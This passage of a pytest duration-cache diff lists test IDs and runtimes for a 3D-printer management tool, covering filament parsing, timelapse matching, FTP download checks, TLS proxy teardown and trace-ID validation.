"unit/test_threemf_tools.py::TestGetCumulativeUsageAtLayer::test_before_first_layer": 0.0013424670323729515, + "unit/test_threemf_tools.py::TestGetCumulativeUsageAtLayer::test_between_layers": 0.0012524668127298355, + "unit/test_threemf_tools.py::TestGetCumulativeUsageAtLayer::test_beyond_last_layer": 0.0012337537482380867, + "unit/test_threemf_tools.py::TestGetCumulativeUsageAtLayer::test_empty_data": 0.001256365329027176, + "unit/test_threemf_tools.py::TestGetCumulativeUsageAtLayer::test_exact_layer_match": 0.001254100352525711, + "unit/test_threemf_tools.py::TestGetCumulativeUsageAtLayer::test_layer_zero": 0.0012746388092637062, + "unit/test_threemf_tools.py::TestGetCumulativeUsageAtLayer::test_multi_filament": 0.0013095131143927574, + "unit/test_threemf_tools.py::TestGetCumulativeUsageAtLayer::test_none_data": 0.0053850626572966576, + "unit/test_threemf_tools.py::TestMmToGrams::test_custom_density": 0.0012389915063977242, + "unit/test_threemf_tools.py::TestMmToGrams::test_custom_diameter": 0.001240083947777748, + "unit/test_threemf_tools.py::TestMmToGrams::test_default_pla_175": 0.001255834475159645, + "unit/test_threemf_tools.py::TestMmToGrams::test_known_value": 0.0012569855898618698, + "unit/test_threemf_tools.py::TestMmToGrams::test_zero_length": 0.001262366771697998, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_comments_ignored": 0.0012389617040753365, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_cumulative_across_layers": 0.0012721139937639236, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_empty_gcode": 0.001239723525941372, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_g0_g2_g3_extrusion": 0.001247868873178959, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_m620_s255_unloads": 0.0012410562485456467, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_m620_with_suffix": 0.0012483811005949974, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_multi_layer_single_filament": 0.0012638699263334274, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_multi_material": 0.0012478381395339966, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_no_active_filament_extrusion_ignored": 0.0012456243857741356, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_no_extrusion": 0.0012344121932983398, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_retractions_ignored": 0.0012537883594632149, + "unit/test_threemf_tools.py::TestParseGcodeLayerFilamentUsage::test_single_filament_single_layer": 0.0013432390987873077, + "unit/test_timelapse_baseline_restart_recovery.py::test_running_observed_captures_baseline_on_restart_recovery": 0.003282723017036915, + "unit/test_timelapse_baseline_restart_recovery.py::test_running_observed_skips_when_baseline_already_present": 0.0026244278997182846, + "unit/test_timelapse_baseline_restart_recovery.py::test_running_observed_skips_when_printer_row_missing": 0.002388705499470234, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_archive2_resolves_when_stale_video_removed": 0.0013396115973591805, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_empty_video_list_returns_none": 0.001315426081418991, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_issue_1278_archive1_still_matches_unambiguously": 0.001398530788719654, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_issue_1278_archive2_refuses_to_auto_pick_ambiguous": 0.002482794225215912, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_no_match_when_outside_tolerance": 0.0013351226225495338, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_returns_match_when_runner_up_is_same_video_different_offset": 0.0013452116400003433, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_returns_none_when_started_at_missing": 0.0013204645365476608, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_skips_videos_without_timestamp_in_name": 0.001373734325170517, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_supports_common_timezone_offsets_with_single_candidate[-1]": 0.001403682865202427, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_supports_common_timezone_offsets_with_single_candidate[-7]": 0.0013870494440197945, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_supports_common_timezone_offsets_with_single_candidate[-8]": 0.0013957861810922623, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_supports_common_timezone_offsets_with_single_candidate[0]": 0.0014061648398637772, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_supports_common_timezone_offsets_with_single_candidate[1]": 0.001408151350915432, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_supports_common_timezone_offsets_with_single_candidate[7]": 0.0013881810009479523, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_supports_common_timezone_offsets_with_single_candidate[8]": 0.0013932716101408005, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_unambiguous_when_runner_up_is_well_separated": 0.0013519227504730225, + "unit/test_timelapse_match.py::TestMatchTimelapseByTimestamp::test_zero_offset_when_clocks_agree": 0.0014311233535408974, + "unit/test_timelapse_scan_2704.py::TestBaselineIsPersisted::test_listing_failure_stores_null_not_an_empty_baseline": 0.0028462251648306847, + "unit/test_timelapse_scan_2704.py::TestBaselineIsPersisted::test_no_archive_id_keeps_it_in_memory_only": 0.0023151515051722527, + "unit/test_timelapse_scan_2704.py::TestBaselineIsPersisted::test_written_to_the_archive_row_at_print_start": 0.002644597552716732, + "unit/test_timelapse_scan_2704.py::TestCandidateSelection::test_all_new_files_claimed_keeps_polling": 0.001758216880261898, + "unit/test_timelapse_scan_2704.py::TestCandidateSelection::test_attaches_the_one_new_file_and_deletes_it_from_the_printer": 0.00315670482814312, + "unit/test_timelapse_scan_2704.py::TestCandidateSelection::test_claimed_match_survives_the_mp4_conversion": 0.0017670206725597382, + "unit/test_timelapse_scan_2704.py::TestCandidateSelection::test_nothing_new_since_baseline_is_not_an_attach": 0.0018577110022306442, + "unit/test_timelapse_scan_2704.py::TestCandidateSelection::test_skips_a_previous_prints_late_landing_video": 0.0030770767480134964, + "unit/test_timelapse_scan_2704.py::TestDeleteIsBestEffort::test_failure_retries_then_gives_up_without_raising": 0.0020110979676246643, + "unit/test_timelapse_scan_2704.py::TestDeleteIsBestEffort::test_not_found_is_success_and_is_not_retried": 0.0017098551616072655, + "unit/test_timelapse_scan_2704.py::TestDeleteIsBestEffort::test_raising_transport_does_not_propagate": 0.002118178643286228, + "unit/test_timelapse_scan_2704.py::TestDeleteIsBestEffort::test_reports_success_on_delete": 0.00178480613976717, + "unit/test_timelapse_scan_2704.py::TestDownloadVerificationGatesTheDelete::test_failed_attach_does_not_delete": 0.0027578072622418404, + "unit/test_timelapse_scan_2704.py::TestDownloadVerificationGatesTheDelete::test_passes_the_listed_size_to_the_downloader": 0.0030355192720890045, + "unit/test_timelapse_scan_2704.py::TestDownloadVerificationGatesTheDelete::test_short_download_does_not_attach_or_delete": 0.002550397999584675, + "unit/test_timelapse_scan_2704.py::TestFileMustHaveStoppedGrowing::test_grown_since_download_is_not_settled": 0.0018686512485146523, + "unit/test_timelapse_scan_2704.py::TestFileMustHaveStoppedGrowing::test_listing_failure_is_not_settled": 0.0022230977192521095, + "unit/test_timelapse_scan_2704.py::TestFileMustHaveStoppedGrowing::test_same_size_afterwards_is_settled": 0.001804581843316555, + "unit/test_timelapse_scan_2704.py::TestFileMustHaveStoppedGrowing::test_scan_attaches_once_the_video_has_settled": 0.0031449245288968086, + "unit/test_timelapse_scan_2704.py::TestFileMustHaveStoppedGrowing::test_scan_discards_a_still_growing_video_without_deleting": 0.0027589723467826843, + "unit/test_timelapse_scan_2704.py::TestFileMustHaveStoppedGrowing::test_vanished_counts_as_settled": 0.0018138997256755829, + "unit/test_timelapse_scan_2704.py::TestFinishPhotoUpgrade::test_is_idempotent": 0.002465321682393551, + "unit/test_timelapse_scan_2704.py::TestFinishPhotoUpgrade::test_missing_archive_does_not_raise": 0.0027112718671560287, + "unit/test_timelapse_scan_2704.py::TestFinishPhotoUpgrade::test_puts_the_timelapse_frame_first_and_keeps_the_live_grab": 0.003416825085878372, + "unit/test_timelapse_scan_2704.py::TestFinishPhotoUpgrade::test_refuses_to_delete_an_unverified_download": 0.0019320612773299217, + "unit/test_timelapse_scan_2704.py::TestFinishPhotoUpgrade::test_verified_is_required_not_defaulted": 0.0017176885157823563, + "unit/test_timelapse_scan_2704.py::TestFinishPhotoUpgrade::test_video_never_arrives_leaves_the_archive_alone": 0.00282447412610054, + "unit/test_timelapse_scan_2704.py::TestFinishPhotoUpgrade::test_waits_far_longer_than_the_notification_can": 0.0021196724846959114, + "unit/test_timelapse_scan_2704.py::TestFtpDownloadSizeCheck::test_exact_size_passes": 0.001524927094578743, + "unit/test_timelapse_scan_2704.py::TestFtpDownloadSizeCheck::test_long_read_is_a_failure": 0.0016085142269730568, + "unit/test_timelapse_scan_2704.py::TestFtpDownloadSizeCheck::test_short_read_is_a_failure": 0.0016027409583330154, + "unit/test_timelapse_scan_2704.py::TestFtpDownloadSizeCheck::test_unverified_download_still_works_for_callers_that_do_not_pass_a_size": 0.0017934301868081093, + "unit/test_timelapse_scan_2704.py::TestFtpDownloadSizeCheck::test_zero_bytes_is_a_failure_even_without_an_expected_size": 0.0016132015734910965, + "unit/test_timelapse_scan_2704.py::TestManualScanUsesTheBaseline::test_ambiguous_baseline_offers_only_the_plausible_files": 0.0034049618989229202, + "unit/test_timelapse_scan_2704.py::TestManualScanUsesTheBaseline::test_archives_without_a_baseline_keep_the_old_strategies": 0.0035915812477469444, + "unit/test_timelapse_scan_2704.py::TestManualScanUsesTheBaseline::test_attaches_the_single_unclaimed_new_file": 0.0038008252158761024, + "unit/test_timelapse_scan_2704.py::TestManualScanUsesTheBaseline::test_baseline_showing_nothing_new_does_not_guess": 0.006549334153532982, + "unit/test_timelapse_scan_2704.py::TestManualScanUsesTheBaseline::test_deletes_from_the_printer_after_attaching": 0.003782120533287525, + "unit/test_timelapse_scan_2704.py::TestPollBounds::test_budget_is_much_longer_than_the_ladder_it_replaced": 0.0015642018988728523, + "unit/test_timelapse_scan_2704.py::TestPollBounds::test_round_cap_tracks_the_wall_clock_budget": 0.0016574375331401825, + "unit/test_timelapse_scan_2704.py::TestPollBounds::test_zero_interval_does_not_divide_by_zero": 0.0016010813415050507, + "unit/test_timelapse_scan_2704.py::TestStaleBaselineCannotSurvive::test_failed_capture_clears_rather_than_leaves_the_old_value": 0.002567651681602001, + "unit/test_timelapse_scan_2704.py::TestStaleBaselineCannotSurvive::test_successful_capture_overwrites_the_old_value": 0.002860904671251774, + "unit/test_tls_proxy_teardown_2968.py::TestCloseDoesNotDependOnThePeer::test_a_live_connection_does_not_stall_the_close": 0.0038196388632059097, + "unit/test_tls_proxy_teardown_2968.py::TestCloseDoesNotDependOnThePeer::test_closing_twice_is_harmless": 0.0030677104368805885, + "unit/test_tls_proxy_teardown_2968.py::TestCloseDoesNotDependOnThePeer::test_it_works_on_a_server_it_did_not_create": 0.0017931200563907623, + "unit/test_tls_proxy_teardown_2968.py::TestCloseDoesNotDependOnThePeer::test_no_handler_survives_the_close": 0.6719167912378907, + "unit/test_tls_proxy_teardown_2968.py::TestTheHandlerIsHeldWhileItRuns::test_a_finished_handler_is_released": 0.025214710272848606, + "unit/test_tls_proxy_teardown_2968.py::TestTheHandlerIsHeldWhileItRuns::test_an_open_connection_is_tracked": 0.10884425695985556, + "unit/test_tls_proxy_teardown_2968.py::test_the_proxy_still_forwards": 0.02418922819197178, + "unit/test_trace.py::TestFilterMustBeAttachedToHandlerNotLogger::test_handler_level_filter_fires_on_child_logger_propagation": 0.0016903998330235481, + "unit/test_trace.py::TestGenerateTraceId::test_generated_ids_are_hex": 0.0014457497745752335, + "unit/test_trace.py::TestGenerateTraceId::test_generated_ids_are_unique_across_calls": 0.0019215121865272522, + "unit/test_trace.py::TestNormaliseInboundTraceId::test_dash_and_underscore_accepted": 0.0014415932819247246, + "unit/test_trace.py::TestNormaliseInboundTraceId::test_empty_string_returns_none": 0.0014199009165167809, + "unit/test_trace.py::TestNormaliseInboundTraceId::test_hostile_payloads_rejected[abc def]": 0.0014649666845798492, + "unit/test_trace.py::TestNormaliseInboundTraceId::test_hostile_payloads_rejected[abc\"def]": 0.0014321152120828629, + "unit/test_trace.py::TestNormaliseInboundTraceId::test_hostile_payloads_rejected[abc/def]": 0.0026642130687832832, + "unit/test_trace.py::TestNormaliseInboundTraceId::test_hostile_payloads_rejected[abc;def]": 0.0014333361759781837, + "unit/test_trace.py::TestNormaliseInboundTraceId::test_hostile_payloads_rejected[abc